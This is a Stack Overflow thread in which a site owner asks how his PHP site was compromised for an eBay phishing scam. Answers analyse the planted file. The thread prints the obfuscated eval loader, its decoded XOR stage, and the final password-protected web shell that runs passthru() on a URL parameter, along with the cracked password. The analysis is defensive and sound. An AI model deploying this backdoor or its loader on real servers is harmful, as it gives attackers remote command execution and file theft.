3

A website of mine was recently hacked. Although the actual website remain unchanged, they were somehow able to use the domain to create a link that re-directed to an ebay phishing scam.

I've taken the website down, for obvious reasons, so I can't link to the code. I'm wondering how I can go about finding out what vulnerability they used so that I can avoid this problem in the future. The page used PHP, and also some javascript (for form validation).

Is there a free service that will scan my code for vulnerabilities? What are my other options?

Thanks, Jeff

EDIT: I've hosted the files at [link removed]

A few things to note: There are several files in the "funcs" folder, most of which aren't used, but I left them there just in case. The "new.php" (contents below) in the "data" folder is clearly the problem. The big question is, how did someone manage to upload "new.php" to the server? There's also an RTF of the e-mail I received which has info about the scam.

(caution: this code is probably "dangerous" to your computer)

    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>
Bhargav Rao
  • 50,140
  • 28
  • 121
  • 140
Jeff
  • 12,147
  • 10
  • 51
  • 87
  • 2
    I think this question would fare better on http://serverfault.com/. – Maxpm Jan 19 '11 at 04:51
  • 4
    ..or the Security StackExchange Beta over at http://security.stackexchange.com – soulseekah Jan 19 '11 at 04:57
  • 1
    @Maxpm Possibly, but I'm not the server admin. And it's a vulnerability in the code, not the network itself. Unfortunately, I can't link to the code, but if anyone is willing to help, I can probably .zip up the site and host it somewhere? – Jeff Jan 19 '11 at 04:57
  • I will re-post on security.stackexchange, thanks! Still, if anyone has any ideas, please let me know... – Jeff Jan 19 '11 at 05:00
  • This question is also on [Security](http://security.stackexchange.com/questions/1724/ebay-vulnerability-hack) StackExchange. – Jonathan Leffler Jan 19 '11 at 09:10
  • you should modify the title. This is ins't really an ebay hack but rather someone exploit a vulnerability of your code. – cbrulak Jan 19 '11 at 15:43

3 Answers3

10

Interesting stuff going on here. The php block evaluates to a nice little "code generator":


$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53=70;
$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";
$s32t83r16i71n72g_o95u53t9p47u16t72=$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47;$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83=strlen($s32t83r16i71n72g_o95u53t9p47u16t72);
$e72v71a16l_p83h32p_c95o53d9e47='';

for($h47u9i53v95a32m83v16s71e72m=0;$h47u9i53v95a32m83v16s71e72m<$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83;$h47u9i53v95a32m83v16s71e72m++)
$e72v71a16l_p83h32p_c95o53d9e47 .= chr(ord($s32t83r16i71n72g_o95u53t9p47u16t72[$h47u9i53v95a32m83v16s71e72m]) ^ $k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53);

eval("?>".$e72v71a16l_p83h32p_c95o53d9e47."<?");

When the nasty variable names are substituted for something more readable, you get:


$Coefficient=70;

$InitialString="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";

$TargetString=$InitialString;

$CntLimit=strlen($TargetString);

$Output='';

for($i=0;$i<$CntLimit;$i++)
$Output .= chr(ord($TargetString[$i]) ^ $Coefficient);

eval("?>".$Output."<?");

which, when evaluated, spits out the code:


<?php
if ((isset($_GET[pass]))&(md5($_GET[pass])==
       '417379a25e41bd0ac88f87dc3d029485')&(isset($_GET[c])))
{
 echo '<pre>';
 passthru(stripslashes($_GET[c]));
 include($_GET[c]);
 die('</pre>');
}
?>

Of note, the string: '417379a25e41bd0ac88f87dc3d029485' is the md5 hash of the password: Zrhenjq2009

I'll kick this around some more tomorrow.

Edit:
Ok, so I spent a few more minutes playing with this. It's looking like a remote control script. So now that this page (new.php) is sitting on your server, If a user hits this page and passes a url parameter named 'pass' with a value of 'Zrhenjq2009', they are then able to execute an external command on the server by passing the command and arguments in the url as the parameter named 'c'. So this is turning out to be a code generator which creates a backdoor on the server. Pretty cool.

I pulled down the file you uploaded and ran new.php through VirusTotal.com and it appears to be an new (or substantially modified) trojan. Additionally, it appears that 51.php is the PHPSpy trojan: VirusTotal analysis, 74.php is the PHP.Shellbot trojan VirusTotal Analysis and func.php is "webshell by orb". Looks like someone dropped a nice hack kit on your server along with the ebay phishing scripts/pages referenced in the document you uploaded.

You should probably remove the file download link in your original post.

If you get your hands on the logs, might be interesting to take a look.

Enjoy.

xelco52
  • 5,257
  • 4
  • 40
  • 56
  • 1
    Good analysis, except that the purpose of it is to dump files from the server, rather than execute them. The `passthru()` command retrieves the file referenced in `$_GET[c]` and sends it to the server. Note that with stream filters, you can pass a URL as the `c` parameter and this turns in to a proxy. – Orbling Jan 20 '11 at 00:12
3

If you're using a VCS (version control, like git, mercurial, subversion, cvs) you can just do a diff from the last good commit and go from there.

You are using version control, right?

coreyward
  • 77,547
  • 20
  • 137
  • 166
  • Actually, it's really a one-off project. It's an online psychology experiment, I recruited participants on Mturk. I've made hundreds of them, and I usually don't delete them from the server after I'm done. This is the first one that's been attacked. – Jeff Jan 19 '11 at 04:59
  • 2
    I don't really understand what that has to do with using version control on your source. – coreyward Jan 19 '11 at 05:01
  • What I mean is that code that is hosted is the first and last version that will ever be. I wrote it in about 15 minutes and never planned on editing it again. There is no need for version control. Generally, after I collect the data (about 1-2 days) the site no longer serves a purpose. – Jeff Jan 19 '11 at 05:05
  • 1
    I was under the impression you wanted a tool to scan it for how it was modified, not to do your due diligence in making sure it's relatively secure. – coreyward Jan 19 '11 at 05:11
  • 1
    It's not a matter of diligence, it's a matter of ignorance! The page itself has not been modified. An exploit was used to add a file to the server. That file was used as part of a phishing scam. I've looked over the code, but I don't where the exploit is. – Jeff Jan 19 '11 at 05:16
1

Do you have access to the server logs? If you have an approximate time when the first exploit occurred, they should be able to go a long ways into helping you figure out what the person did. Other than giving general advice, its really hard to say without more information.

Can you share the code (please make sure to remove user names / passwords etc)? If so I would be willing to take a look but it might take me a day or so (Sorry, I'm currently working on a SQL Injection Vulnerability report, recommendation for identifying restricted data, and future standards/process to prevent it in the future and I have four kids at home including a 3 month old).

W3t Tr3y
  • 402
  • 3
  • 12
  • I don't have access to the logs offhand, but I may be able to acquire them. I will look into that tomorrow... I've uploaded all of the code on the website in case you have a chance to take a look. If you're busy, I completely understand! – Jeff Jan 19 '11 at 05:45